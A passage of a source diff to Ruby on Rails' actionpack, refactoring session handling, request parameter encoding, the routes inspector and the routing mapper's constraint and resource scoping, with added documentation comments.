ENV_SESSION_OPTIONS_KEY, options end - def self.find(env) - env[ENV_SESSION_OPTIONS_KEY] + def self.find(req) + req.get_header ENV_SESSION_OPTIONS_KEY end - def initialize(by, env, default_options) + def initialize(by, default_options) @by = by - @env = env @delegate = default_options.dup end def [](key) - if key == :id - @delegate.fetch(key) { - @delegate[:id] = @by.send(:extract_session_id, @env) - } - else - @delegate[key] - end + @delegate[key] + end + + def id(req) + @delegate.fetch(:id) { + @by.send(:extract_session_id, req) + } end def []=(k,v); @delegate[k] = v; end @@ -58,38 +58,40 @@ module ActionDispatch def values_at(*args); @delegate.values_at(*args); end end - def initialize(by, env) + def initialize(by, req) @by = by - @env = env + @req = req @delegate = {} @loaded = false @exists = nil # we haven't checked yet end def id - options[:id] + options.id(@req) end def options - Options.find @env + Options.find @req end def destroy clear options = self.options || {} - new_sid = @by.send(:destroy_session, @env, options[:id], options) - options[:id] = new_sid # Reset session id with a new value or nil + @by.send(:delete_session, @req, options.id(@req), options) # Load the new sid to be written with the response @loaded = false load_for_write! end + # Returns value of the key stored in the session or + # nil if the given key is not found in the session. def [](key) load_for_read! @delegate[key.to_s] end + # Returns true if the session has the given key or false. def has_key?(key) load_for_read! @delegate.key?(key.to_s) @@ -97,39 +99,69 @@ module ActionDispatch alias :key? :has_key? alias :include? :has_key? + # Returns keys of the session as Array. def keys @delegate.keys end + # Returns values of the session as Array. def values @delegate.values end + # Writes given value to given key of the session. def []=(key, value) load_for_write! @delegate[key.to_s] = value end + # Clears the session. def clear load_for_write! @delegate.clear end + # Returns the session as Hash. def to_hash load_for_read! @delegate.dup.delete_if { |_,v| v.nil? } end + # Updates the session with given Hash. + # + # session.to_hash + # # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2"} + # + # session.update({ "foo" => "bar" }) + # # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2", "foo" => "bar"} + # + # session.to_hash + # # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2", "foo" => "bar"} def update(hash) load_for_write! @delegate.update stringify_keys(hash) end + # Deletes given key from the session. def delete(key) load_for_write! @delegate.delete key.to_s end + # Returns value of the given key from the session, or raises +KeyError+ + # if can't find the given key and no default value is set. + # Returns default value if specified. + # + # session.fetch(:foo) + # # => KeyError: key not found: "foo" + # + # session.fetch(:foo, :bar) + # # => :bar + # + # session.fetch(:foo) do + # :bar + # end + # # => :bar def fetch(key, default=Unspecified, &block) load_for_read! if default == Unspecified @@ -149,7 +181,7 @@ module ActionDispatch def exists? return @exists unless @exists.nil? - @exists = @by.send(:session_exists?, @env) + @exists = @by.send(:session_exists?, @req) end def loaded? @@ -166,6 +198,10 @@ module ActionDispatch @delegate.merge!(other) end + def each(&block) + to_hash.each(&block) + end + private def load_for_read! @@ -177,7 +213,7 @@ module ActionDispatch end def load! - id, session = @by.load_session @env + id, session = @by.load_session @req options[:id] = id @delegate.replace(stringify_keys(session)) @loaded = true diff --git a/actionpack/lib/action_dispatch/request/utils.rb b/actionpack/lib/action_dispatch/request/utils.rb index 1c9371d89c..bb3df3c311 100644 --- a/actionpack/lib/action_dispatch/request/utils.rb +++ b/actionpack/lib/action_dispatch/request/utils.rb @@ -1,28 +1,64 @@ module ActionDispatch - class Request < Rack::Request + class Request class Utils # :nodoc: mattr_accessor :perform_deep_munge self.perform_deep_munge = true - class << self - # Remove nils from the params hash - def deep_munge(hash, keys = []) - return hash unless perform_deep_munge + def self.normalize_encode_params(params) + if perform_deep_munge + NoNilParamEncoder.normalize_encode_params params + else + ParamEncoder.normalize_encode_params params + end + end + + def self.check_param_encoding(params) + case params + when Array + params.each { |element| check_param_encoding(element) } + when Hash + params.each_value { |value| check_param_encoding(value) } + when String + unless params.valid_encoding? + # Raise Rack::Utils::InvalidParameterError for consistency with Rack. + # ActionDispatch::Request#GET will re-raise as a BadRequest error. + raise Rack::Utils::InvalidParameterError, "Non UTF-8 value: #{params}" + end + end + end - hash.each do |k, v| - keys << k - case v - when Array - v.grep(Hash) { |x| deep_munge(x, keys) } - v.compact! - when Hash - deep_munge(v, keys) + class ParamEncoder # :nodoc: + # Convert nested Hash to HashWithIndifferentAccess. + # + def self.normalize_encode_params(params) + case params + when Array + handle_array params + when Hash + if params.has_key?(:tempfile) + ActionDispatch::Http::UploadedFile.new(params) + else + params.each_with_object({}) do |(key, val), new_hash| + new_hash[key] = normalize_encode_params(val) + end.with_indifferent_access end - keys.pop + else + params end + end + + def self.handle_array(params) + params.map! { |el| normalize_encode_params(el) } + end + end - hash + # Remove nils from the params hash + class NoNilParamEncoder < ParamEncoder # :nodoc: + def self.handle_array(params) + list = super + list.compact! + list end end end diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb index ce03164ca9..67f441dfec 100644 --- a/actionpack/lib/action_dispatch/routing.rb +++ b/actionpack/lib/action_dispatch/routing.rb @@ -1,8 +1,3 @@ -# encoding: UTF-8 -require 'active_support/core_ext/object/to_param' -require 'active_support/core_ext/regexp' -require 'active_support/dependencies/autoload' - module ActionDispatch # The routing module provides URL rewriting in native Ruby. It's a way to # redirect incoming requests to controllers and actions. This replaces @@ -58,7 +53,7 @@ module ActionDispatch # resources :posts, :comments # end # - # Alternately, you can add prefixes to your path without using a separate + # Alternatively, you can add prefixes to your path without using a separate # directory by using +scope+. +scope+ takes additional options which # apply to all enclosed routes. # @@ -78,14 +73,14 @@ module ActionDispatch # get 'post/:id' => 'posts#show' # post 'post/:id' => 'posts#create_comment' # + # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same + # URL will route to the <tt>show</tt> action. + # # If your route needs to respond to more than one HTTP method (or all methods) then using the # <tt>:via</tt> option on <tt>match</tt> is preferable. # # match 'post/:id' => 'posts#show', via: [:get, :post] # - # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same - # URL will route to the <tt>show</tt> action. - # # == Named routes # # Routes can be named by passing an <tt>:as</tt> option, @@ -151,6 +146,7 @@ module ActionDispatch # get 'geocode/:postalcode' => :show, constraints: { # postalcode: /\d{5}(-\d{4})?/ # } + # end # # Constraints can include the 'ignorecase' and 'extended syntax' regular # expression modifiers: @@ -163,7 +159,7 @@ module ActionDispatch # # controller 'geocode' do # get 'geocode/:postalcode' => :show, constraints: { - # postalcode: /# Postcode format + # postalcode: /# Postalcode format # \d{5} #Prefix # (-\d{4})? #Suffix # /x @@ -232,7 +228,6 @@ module ActionDispatch # def send_to_jail # get '/jail' # assert_response :success - # assert_template "jail/front" # end # # def goes_to_login @@ -242,9 +237,9 @@ module ActionDispatch # # == View a list of all your routes # - # rake routes + # rails routes # - # Target specific controllers by prefixing the command with <tt>CONTROLLER=x</tt>. + # Target specific controllers by prefixing the command with <tt>-c</tt> option. # module Routing extend ActiveSupport::Autoload @@ -257,5 +252,14 @@ module ActionDispatch SEPARATORS = %w( / . ? ) #:nodoc: HTTP_METHODS = [:get, :head, :post, :patch, :put, :delete, :options] #:nodoc: + + #:stopdoc: + INSECURE_URL_PARAMETERS_MESSAGE = <<-MSG.squish + Attempting to generate a URL from non-sanitized request parameters! + + An attacker can inject malicious data into the generated URL, such as + changing the host. Whitelist and sanitize passed parameters to be secure. + MSG + #:startdoc: end end diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb index c513737fc2..2459a45827 100644 --- a/actionpack/lib/action_dispatch/routing/inspector.rb +++ b/actionpack/lib/action_dispatch/routing/inspector.rb @@ -16,10 +16,6 @@ module ActionDispatch app.app end - def verb - super.source.gsub(/[$^]/, '') - end - def path super.spec.to_s end @@ -37,15 +33,15 @@ module ActionDispatch end def controller - requirements[:controller] || ':controller' + parts.include?(:controller) ? ':controller' : requirements[:controller] end def action - requirements[:action] || ':action' + parts.include?(:action) ? ':action' : requirements[:action] end def internal? - controller.to_s =~ %r{\Arails/(info|mailers|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}\z} + internal end def engine? @@ -55,7 +51,7 @@ module ActionDispatch ## # This class is just used for displaying route information when someone - # executes `rake routes` or looks at the RoutingError page. + # executes `rails routes` or looks at the RoutingError page. # People should not use this class. class RoutesInspector # :nodoc: def initialize(routes) @@ -64,12 +60,10 @@ module ActionDispatch end def format(formatter, filter = nil) - routes_to_display = filter_routes(filter) - + routes_to_display = filter_routes(normalize_filter(filter)) routes = collect_routes(routes_to_display) - if routes.none? - formatter.no_routes + formatter.no_routes(collect_routes(@routes)) return formatter.result end @@ -86,9 +80,20 @@ module ActionDispatch private + def normalize_filter(filter) + if filter.is_a?(Hash) && filter[:controller] + { controller: /#{filter[:controller].downcase.sub(/_?controller\z/, '').sub('::', '/')}/ } + elsif filter + { controller: /#{filter}/, action: /#{filter}/, verb: /#{filter}/, name: /#{filter}/, path: /#{filter}/ } + end + end + def filter_routes(filter) if filter - @routes.select { |route| route.defaults[:controller] == filter } + @routes.select do |route| + route_wrapper = RouteWrapper.new(route) + filter.any? { |default, value| route_wrapper.send(default) =~ value } + end else @routes end @@ -140,14 +145,18 @@ module ActionDispatch @buffer << draw_header(routes) end - def no_routes - @buffer << <<-MESSAGE.strip_heredoc + def no_routes(routes) + @buffer << + if routes.none? + <<-MESSAGE.strip_heredoc You don't have any routes defined! Please add some routes in config/routes.rb. - - For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html. MESSAGE + else + "No routes were found for this controller" + end + @buffer << "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html." end private @@ -191,7 +200,7 @@ module ActionDispatch def header(routes) end - def no_routes + def no_routes(*) @buffer << <<-MESSAGE.strip_heredoc <p>You don't have any routes defined!</p> <ul> diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb index 34b5b48f3a..4c2a4cfeb0 100644 --- a/actionpack/lib/action_dispatch/routing/mapper.rb +++ b/actionpack/lib/action_dispatch/routing/mapper.rb @@ -1,10 +1,7 @@ -require 'active_support/core_ext/hash/except' -require 'active_support/core_ext/hash/reverse_merge' require 'active_support/core_ext/hash/slice' require 'active_support/core_ext/enumerable' require 'active_support/core_ext/array/extract_options' -require 'active_support/core_ext/module/remove_method' -require 'active_support/inflector' +require 'active_support/core_ext/regexp' require 'action_dispatch/routing/redirection' require 'action_dispatch/routing/endpoint' @@ -13,10 +10,13 @@ module ActionDispatch class Mapper URL_OPTIONS = [:protocol, :subdomain, :domain, :host, :port] - class Constraints < Endpoint #:nodoc: + class Constraints < Routing::Endpoint #:nodoc: attr_reader :app, :constraints - def initialize(app, constraints, dispatcher_p) + SERVE = ->(app, req) { app.serve req } + CALL = ->(app, req) { app.call req.env } + + def initialize(app, constraints, strategy) # Unwrap Constraints objects. I don't actually think it's possible # to pass a Constraints object to this constructor, but there were # multiple places that kept testing children of this object. I @@ -26,12 +26,12 @@ module ActionDispatch app = app.app end - @dispatcher = dispatcher_p + @strategy = strategy @app, @constraints, = app, constraints end - def dispatcher?; @dispatcher; end + def dispatcher?; @strategy == SERVE; end def matches?(req) @constraints.all? do |constraint| @@ -43,11 +43,7 @@ module ActionDispatch def serve(req) return [ 404, {'X-Cascade' => 'pass'}, [] ] unless matches?(req) - if dispatcher? - @app.serve req - else - @app.call req.env - end + @strategy.call @app, req end private @@ -59,101 +55,180 @@ module ActionDispatch class Mapping #:nodoc: ANCHOR_CHARACTERS_REGEX = %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z} - attr_reader :requirements, :conditions, :defaults - attr_reader :to, :default_controller, :default_action, :as, :anchor + attr_reader :requirements, :defaults + attr_reader :to, :default_controller, :default_action + attr_reader :required_defaults, :ast - def self.build(scope, set, path, as, options) + def self.build(scope, set, ast, controller, default_action, to, via, formatted, options_constraints, anchor, options) options = scope[:options].merge(options) if scope[:options] - options.delete :only - options.delete :except - options.delete :shallow_path - options.delete :shallow_prefix - options.delete :shallow + defaults = (scope[:defaults] || {}).dup + scope_constraints = scope[:constraints] || {} - defaults = (scope[:defaults] || {}).merge options.delete(:defaults) || {} + new set, ast, defaults, controller, default_action, scope[:module], to, formatted, scope_constraints, scope[:blocks] || [], via, options_constraints, anchor, options + end - new scope, set, path, defaults, as, options + def self.check_via(via) + if via.empty? + msg = "You should not use the `match` method in your router without specifying an HTTP method.\n" \ + "If you want to expose your action to both GET and POST, add `via: [:get, :post]` option.\n" \ + "If you want to expose your action to GET, use `get` in the router:\n" \ + " Instead of: match \"controller#action\"\n" \ + " Do: get \"controller#action\"" + raise ArgumentError, msg + end + via end - def initialize(scope, set, path, defaults, as, options) - @requirements, @conditions = {}, {} + def self.normalize_path(path, format) + path = Mapper.normalize_path(path) + + if format == true + "#{path}.:format" + elsif optional_format?(path, format) + "#{path}(.:format)" + else + path + end + end + + def self.optional_format?(path, format) + format != false && !path.include?(':format') && !path.end_with?('/') + end + + def initialize(set, ast, defaults, controller, default_action, modyoule, to, formatted, scope_constraints, blocks, via, options_constraints, anchor, options) @defaults = defaults @set = set - @to = options.delete :to - @default_controller = options.delete(:controller) || scope[:controller] - @default_action = options.delete(:action) || scope[:action] - @as = as - @anchor = options.delete :anchor + @to = to + @default_controller = controller + @default_action = default_action + @ast = ast + @anchor = anchor + @via = via + @internal = options[:internal] - formatted = options.delete :format - via = Array(options.delete(:via) { [] }) - options_constraints = options.delete :constraints + path_params = ast.find_all(&:symbol?).map(&:to_sym) - path = normalize_path! path, formatted - ast = path_ast path - path_params = path_params ast + options = add_wildcard_options(options, formatted, ast) - options = normalize_options!(options, formatted, path_params, ast, scope[:module]) + options = normalize_options!(options, path_params, modyoule) + split_options = constraints(options, path_params) - split_constraints(path_params, scope[:constraints]) if scope[:constraints] - constraints = constraints(options, path_params) + constraints = scope_constraints.merge Hash[split_options[:constraints] || []] - split_constraints path_params, constraints + if options_constraints.is_a?(Hash) + @defaults = Hash[options_constraints.find_all { |key, default| + URL_OPTIONS.include?(key) && (String === default || Fixnum === default) + }].merge @defaults + @blocks = blocks + constraints.merge! options_constraints + else + @blocks = blocks(options_constraints) + end - @blocks = blocks(options_constraints, scope[:blocks]) + requirements, conditions = split_constraints path_params, constraints + verify_regexp_requirements requirements.map(&:last).grep(Regexp) - if options_constraints.is_a?(Hash) - split_constraints path_params, options_constraints - options_constraints.each do |key, default| - if URL_OPTIONS.include?(key) && (String === default || Fixnum === default) - @defaults[key] ||= default - end - end + formats = normalize_format(formatted) + + @requirements = formats[:requirements].merge Hash[requirements] + @conditions = Hash[conditions] + @defaults = formats[:defaults].merge(@defaults).merge(normalize_defaults(options)) + + if path_params.include?(:action) && !@requirements.key?(:action) + @defaults[:action] ||= 'index' end - normalize_format!(formatted) + @required_defaults = (split_options[:required_defaults] || []).map(&:first) + end - @conditions[:path_info] = path - @conditions[:parsed_path_info] = ast + def make_route(name, precedence) + route = Journey::Route.new(name, + application, + path, + conditions, + required_defaults, + defaults, + request_method, + precedence, + @internal) + + route + end - add_request_method(via, @conditions) - normalize_defaults!(options) + def application + app(@blocks) end - def to_route - [ app(@blocks), conditions, requirements, defaults, as, anchor ] + def path + build_path @ast, requirements, @anchor end - private + def conditions + build_conditions @conditions, @set.request_class + end - def normalize_path!(path, format) - path = Mapper.normalize_path(path) + def build_conditions(current_conditions, request_class) + conditions = current_conditions.dup - if format == true - "#{path}.:format" - elsif optional_format?(path, format) - "#{path}(.:format)" + conditions.keep_if do |k, _| + request_class.public_method_defined?(k) + end + end + private :build_conditions + + def request_method + @via.map { |x| Journey::Route.verb_matcher(x) } + end + private :request_method + + JOINED_SEPARATORS = SEPARATORS.join # :nodoc: + + def build_path(ast, requirements, anchor) + pattern = Journey::Path::Pattern.new(ast, requirements, JOINED_SEPARATORS, anchor) + + # Find all the symbol nodes that are adjacent to literal nodes and alter + # the regexp so that Journey will partition them into custom routes. + ast.find_all { |node| + next unless node.cat? + + if node.left.literal? && node.right.symbol? + symbol = node.right + elsif node.left.literal? && node.right.cat? && node.right.left.symbol? + symbol = node.right.left + elsif node.left.symbol? && node.right.literal? + symbol = node.left + elsif node.left.symbol? && node.right.cat? && node.right.left.literal? + symbol = node.left else - path + next end - end - def optional_format?(path, format) - format != false && !path.include?(':format') && !path.end_with?('/') - end + if symbol + symbol.regexp = /(?:#{Regexp.union(symbol.regexp, '-')})+/ + end + } + + pattern + end + private :build_path - def normalize_options!(options, formatted, path_params, path_ast, modyoule) + private + def add_wildcard_options(options, formatted, path_ast) # Add a constraint for wildcard route to make it non-greedy and match the # optional format part of the route by default if formatted != false - path_ast.grep(Journey::Nodes::Star) do |node| - options[node.name.to_sym] ||= /.+?/ - end + path_ast.grep(Journey::Nodes::Star).each_with_object({}) { |node, hash| + hash[node.name.to_sym] ||= /.+?/ + }.merge options + else + options end + end + def normalize_options!(options, path_params, modyoule) if path_params.include?(:controller) raise ArgumentError, ":controller segment is not allowed within a namespace block" if modyoule @@ -178,74 +253,54 @@ module ActionDispatch end def split_constraints(path_params, constraints) - constraints.each_pair do |key, requirement| - if path_params.include?(key) || key == :controller - verify_regexp_requirement(requirement) if requirement.is_a?(Regexp) - @requirements[key] = requirement - else - @conditions[key] = requirement - end - end - end - - def normalize_format!(formatted) - if formatted == true - @requirements[:format] ||= /.+/ - elsif Regexp === formatted - @requirements[:format] = formatted - @defaults[:format] = nil - elsif String === formatted - @requirements[:format] = Regexp.compile(formatted) - @defaults[:format] = formatted + constraints.partition do |key, requirement| + path_params.include?(key) || key == :controller end end - def verify_regexp_requirement(requirement) - if requirement.source =~ ANCHOR_CHARACTERS_REGEX - raise ArgumentError, "Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}" - end - - if requirement.multiline? - raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}" + def normalize_format(formatted) + case formatted + when true + { requirements: { format: /.+/ }, + defaults: {} } + when Regexp + { requirements: { format: formatted }, + defaults: { format: nil } } + when String + { requirements: { format: Regexp.compile(formatted) }, + defaults: { format: formatted } } + else + { requirements: { }, defaults: { } } end end - def normalize_defaults!(options) - options.each_pair do |key, default| - unless Regexp === default - @defaults[key] = default + def verify_regexp_requirements(requirements) + requirements.each do |requirement| + if requirement.source =~ ANCHOR_CHARACTERS_REGEX + raise ArgumentError, "Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}" end - end - end - def verify_callable_constraint(callable_constraint) - unless callable_constraint.respond_to?(:call) || callable_constraint.respond_to?(:matches?) - raise ArgumentError, "Invalid constraint: #{callable_constraint.inspect} must respond to :call or :matches?" + if requirement.multiline? + raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}" + end end end - def add_request_method(via, conditions) - return if via == [:all] - - if via.empty? - msg = "You should not use the `match` method in your router without specifying an HTTP method.\n" \ - "If you want to expose your action to both GET and POST, add `via: [:get, :post]` option.\n" \ - "If you want to expose your action to GET, use `get` in the router:\n" \ - " Instead of: match \"controller#action\"\n" \ - " Do: get \"controller#action\"" - raise ArgumentError, msg - end - - conditions[:request_method] = via.map { |m| m.to_s.dasherize.upcase } + def normalize_defaults(options) + Hash[options.reject { |_, default| Regexp === default }] end def app(blocks) - if to.respond_to?(:call) - Constraints.new(to, blocks, false) - elsif blocks.any? - Constraints.new(dispatcher(defaults), blocks, true) + if to.is_a?(Class) && to < ActionController::Metal + Routing::RouteSet::StaticDispatcher.new to else - dispatcher(defaults) + if to.respond_to?(:call) + Constraints.new(to, blocks, Constraints::CALL) + elsif blocks.any? + Constraints.new(dispatcher(defaults.key?(:controller)), blocks, Constraints::SERVE) + else + dispatcher(defaults.key?(:controller)) + end end end @@ -303,40 +358,29 @@ module ActionDispatch yield end - def blocks(options_constraints, scope_blocks) - if options_constraints && !options_constraints.is_a?(Hash) - verify_callable_constraint(options_constraints) - [options_constraints] - else - scope_blocks || [] + def blocks(callable_constraint) + unless callable_constraint.respond_to?(:call) || callable_constraint.respond_to?(:matches?) + raise ArgumentError, "Invalid constraint: #{callable_constraint.inspect} must respond to :call or :matches?" end + [callable_constraint] end def constraints(options, path_params) - constraints = {} - required_defaults = [] - options.each_pair do |key, option| + options.group_by do |key, option| if Regexp === option - constraints[key] = option + :constraints else - required_defaults << key unless path_params.include?(key) + if path_params.include?(key) + :path_params + else + :required_defaults + end end end - @conditions[:required_defaults] = required_defaults - constraints - end - - def path_params(ast) - ast.grep(Journey::Nodes::Symbol).map { |n| n.name.to_sym } end - def path_ast(path) - parser = Journey::Parser.new - parser.parse path - end - - def dispatcher(defaults) - @set.dispatcher defaults + def dispatcher(raise_on_name_error) + Routing::RouteSet::Dispatcher.new raise_on_name_error end end @@ -354,23 +398,6 @@ module ActionDispatch end module Base - # You can specify what Rails should route "/" to with the root method: - # - # root to: 'pages#main' - # - # For options, see +match+, as +root+ uses it internally. - # - # You can also pass a string which will expand - # - # root 'pages#main' - # - # You should put the root route at the top of <tt>config/routes.rb</tt>, - # because this means it will be matched first. As this is the most popular route - # of most Rails applications, this is beneficial. - def root(options = {}) - match '/', { :as => :root, :via => :get }.merge!(options) - end - # Matches a url pattern to one or more routes. # # You should not use the +match+ method in your router @@ -418,7 +445,7 @@ module ActionDispatch # A pattern can also point to a +Rack+ endpoint i.e. anything that # responds to +call+: # - # match 'photos/:id', to: lambda {|hash| [200, {}, ["Coming soon"]] }, via: :get + # match 'photos/:id', to: -> (hash) { [200, {}, ["Coming soon"]] }, via: :get # match 'photos/:id', to: PhotoRackApp, via: :get # # Yes, controller actions are just rack endpoints # match 'photos/:id', to: PhotosController.action(:show), via: :get @@ -443,6 +470,21 @@ module ActionDispatch # dynamic segment used to generate the routes). # You can access that segment from your controller using # <tt>params[<:param>]</tt>. + # In your router: + # + # resources :user, param: :name + # + # You can override <tt>ActiveRecord::Base#to_param</tt> of a related + # model to construct a URL: + # + # class User < ActiveRecord::Base + # def to_param + # name + # end + # end + # + # user = User.find_by(name: 'Phusion') + # user_path(user) # => "/users/Phusion" # # [:path] # The path prefix for the routes. @@ -470,7 +512,7 @@ module ActionDispatch # +call+ or a string representing a controller's action. # # match 'path', to: 'controller#action', via: :get - # match 'path', to: lambda { |env| [200, {}, ["Success!"]] }, via: :get + # match 'path', to: -> (env) { [200, {}, ["Success!"]] }, via: :get # match 'path', to: RackApp, via: :get # # [:on] @@ -551,17 +593,20 @@ module ActionDispatch def mount(app, options = nil) if options path = options.delete(:at) - else - unless Hash === app - raise ArgumentError, "must be called with mount point" - end - + elsif Hash === app options = app app, path = options.find { |k, _| k.respond_to?(:call) } options.delete(app) if app end - raise "A rack application must be specified" unless path + raise ArgumentError, "A rack application must be specified" unless app.respond_to?(:call) + raise ArgumentError, <<-MSG.strip_heredoc unless path + Must be called with mount point + + mount SomeRackApp, at: "some_route" + or + mount(SomeRackApp => "some_route") + MSG rails_app = rails_app? app options[:as] ||= app_name(app, rails_app) @@ -588,7 +633,7 @@ module ActionDispatch # Query if the following named route was already defined. def has_named_route?(name) - @set.named_routes.routes[name.to_sym] + @set.named_routes.key? name end private @@ -616,6 +661,7 @@ module ActionDispatch super(options) else prefix_options = options.slice(*_route.segment_keys) + prefix_options[:relative_url_root] = ''.freeze # we must actually delete prefix segment keys to avoid passing them to next url_for _route.segment_keys.each { |k| options.delete(k) } _routes.url_helpers.send("#{name}_path", prefix_options) @@ -670,7 +716,11 @@ module ActionDispatch def map_method(method, args, &block) options = args.extract_options! options[:via] = method - match(*args, options, &block) + if options.key?(:defaults) + defaults(options.delete(:defaults)) { match(*args, options, &block) } + else + match(*args, options, &block) + end self end end @@ -773,25 +823,34 @@ module ActionDispatch end if options[:constraints].is_a?(Hash) - defaults = options[:constraints].select do - |k, v| URL_OPTIONS.include?(k) && (v.is_a?(String) || v.is_a?(Fixnum)) + defaults = options[:constraints].select do |k, v| + URL_OPTIONS.include?(k) && (v.is_a?(String) || v.is_a?(Fixnum)) end - (options[:defaults] ||= {}).reverse_merge!(defaults) + options[:defaults] = defaults.merge(options[:defaults] || {}) else block, options[:constraints] = options[:constraints], {} end + if options.key?(:only) || options.key?(:except) + scope[:action_options] = { only: options.delete(:only), + except: options.delete(:except) } + end + + if options.key? :anchor + raise ArgumentError, 'anchor is ignored unless passed to `match`' + end + @scope.options.each do |option| if option == :blocks value = block elsif option == :options value = options else - value = options.delete(option) + value = options.delete(option) { POISON } end - if value + unless POISON == value scope[option] = send("merge_#{option}_scope", @scope[option], value) end end @@ -803,14 +862,18 @@ module ActionDispatch @scope = @scope.parent end + POISON = Object.new # :nodoc: + # Scopes routes to a specific controller # # controller "food" do - # match "bacon", action: "bacon" + # match "bacon", action: :bacon, via: :get # end - def controller(controller, options={}) - options[:controller] = controller - scope(options) { yield } + def controller(controller) + @scope = @scope.new(controller: controller) + yield + ensure + @scope = @scope.parent end # Scopes routes to a specific namespace. For example: @@ -856,13 +919,14 @@ module ActionDispatch defaults = { module: path, - path: options.fetch(:path, path), as: options.fetch(:as, path), shallow_path: options.fetch(:path, path), shallow_prefix: options.fetch(:as, path) } - scope(defaults.merge!(options)) { yield } + path_scope(options.delete(:path) { path }) do + scope(defaults.merge!(options)) { yield } + end end # === Parameter Restriction @@ -899,7 +963,7 @@ module ActionDispatch # # Requests to routes can be constrained based on specific criteria: # - # constraints(lambda { |req| req.env["HTTP_USER_AGENT"] =~ /iPhone/ }) do + # constraints(-> (req) { req.env["HTTP_USER_AGENT"] =~ /iPhone/ }) do # resources :iphones # end # @@ -930,7 +994,10 @@ module ActionDispatch # end # Using this, the +:id+ parameter here will default to 'home'. def defaults(defaults = {}) - scope(:defaults => defaults) { yield } + @scope = @scope.new(defaults: merge_defaults_scope(@scope[:defaults], defaults)) + yield + ensure + @scope = @scope.parent end private @@ -962,6 +1029,14 @@ module ActionDispatch child end + def merge_via_scope(parent, child) #:nodoc: + child + end + + def merge_format_scope(parent, child) #:nodoc: + child + end + def merge_path_names_scope(parent, child) #:nodoc: merge_options_scope(parent, child) end @@ -981,16 +1056,12 @@ module ActionDispatch end def merge_options_scope(parent, child) #:nodoc: - (parent || {}).except(*override_keys(child)).merge!(child) + (parent || {}).merge(child) end def merge_shallow_scope(parent, child) #:nodoc: child ? true : false end - - def override_keys(child) #:nodoc: - child.key?(:only) || child.key?(:except) ? [:only, :except] : [] - end end # Resource routing allows you to quickly declare all of the common routes @@ -1040,27 +1111,34 @@ module ActionDispatch CANONICAL_ACTIONS = %w(index create new show update destroy) class Resource #:nodoc: - attr_reader :controller, :path, :options, :param + attr_reader :controller, :path, :param - def initialize(entities, options = {}) + def initialize(entities, api_only, shallow, options = {}) @name = entities.to_s @path = (options[:path] || @name).to_s @controller = (options[:controller] || @name).to_s @as = options[:as] @param = (options[:param] || :id).to_sym @options = options - @shallow = false + @shallow = shallow + @api_only = api_only + @only = options.delete :only + @except = options.delete :except end def default_actions - [:index, :create, :new, :show, :update, :destroy, :edit] + if @api_only + [:index, :create, :show, :update, :destroy] + else + [:index, :create, :new, :show, :update, :destroy, :edit] + end end def actions - if only = @options[:only] - Array(only).map(&:to_sym) - elsif except = @options[:except] - default_actions - Array(except).map(&:to_sym) + if @only + Array(@only).map(&:to_sym) + elsif @except + default_actions - Array(@except).map(&:to_sym) else default_actions end @@ -1087,7 +1165,7 @@ module ActionDispatch end def resource_scope - { :controller => controller } + controller end alias :collection_scope :path @@ -1110,17 +1188,15 @@ module ActionDispatch "#{path}/:#{nested_param}" end - def shallow=(value) - @shallow = value - end - def shallow? @shallow end + + def singleton?; false; end end class SingletonResource < Resource #:nodoc: - def initialize(entities, options) + def initialize(entities, api_only, shallow, options) super @as = nil @controller = (options[:controller] || plural).to_s @@ -1128,7 +1204,11 @@ module ActionDispatch end def default_actions - [:show, :create, :update, :destroy, :new, :edit] + if @api_only + [:show, :create, :update, :destroy] + else + [:show, :create, :update, :destroy, :new, :edit] + end end def plural @@ -1144,6 +1224,8 @@ module ActionDispatch alias :member_scope :path alias :nested_scope :path + + def singleton?; true; end end def resources_path_names(options) @@ -1178,20 +1260,23 @@ module ActionDispatch return self end - resource_scope(:resource, SingletonResource.new(resources.pop, options)) do - yield if block_given? + with_scope_level(:resource) do + options = apply_action_options options + resource_scope(SingletonResource.new(resources.pop, api_only?, @scope[:shallow], options)) do + yield if block_given? - concerns(options[:concerns]) if options[:concerns] + concerns(options[:concerns]) if options[:concerns] - collection do - post :create - end if parent_resource.actions.include?(:create) + collection do + post :create + end if parent_resource.actions.include?(:create) - new do - get :new - end if parent_resource.actions.include?(:new) + new do + get :new + end if parent_resource.actions.include?(:new) - set_member_mappings_for_resource + set_member_mappings_for_resource + end end self @@ -1336,21 +1421,24 @@ module ActionDispatch return self end - resource_scope(:resources, Resource.new(resources.pop, options)) do - yield if block_given? + with_scope_level(:resources) do + options = apply_action_options options + resource_scope(Resource.new(resources.pop, api_only?, @scope[:shallow], options)) do + yield if block_given? - concerns(options[:concerns]) if options[:concerns] + concerns(options[:concerns]) if options[:concerns] - collection do - get :index if parent_resource.actions.include?(:index) - post :create if parent_resource.actions.include?(:create) - end + collection do + get :index if parent_resource.actions.include?(:index) + post :create if parent_resource.actions.include?(:create) + end - new do - get :new - end if parent_resource.actions.include?(:new) + new do + get :new + end if parent_resource.actions.include?(:new) - set_member_mappings_for_resource + set_member_mappings_for_resource + end end self @@ -1374,7 +1462,7 @@ module ActionDispatch end with_scope_level(:collection) do - scope(parent_resource.collection_scope) do + path_scope(parent_resource.collection_scope) do yield end end @@ -1398,9 +1486,11 @@ module ActionDispatch with_scope_level(:member) do if shallow? - shallow_scope(parent_resource.member_scope) { yield } + shallow_scope { + path_scope(parent_resource.member_scope) { yield } + } else - scope(parent_resource.member_scope) { yield } + path_scope(parent_resource.member_scope) { yield } end end end @@ -1411,7 +1501,7 @@ module ActionDispatch end 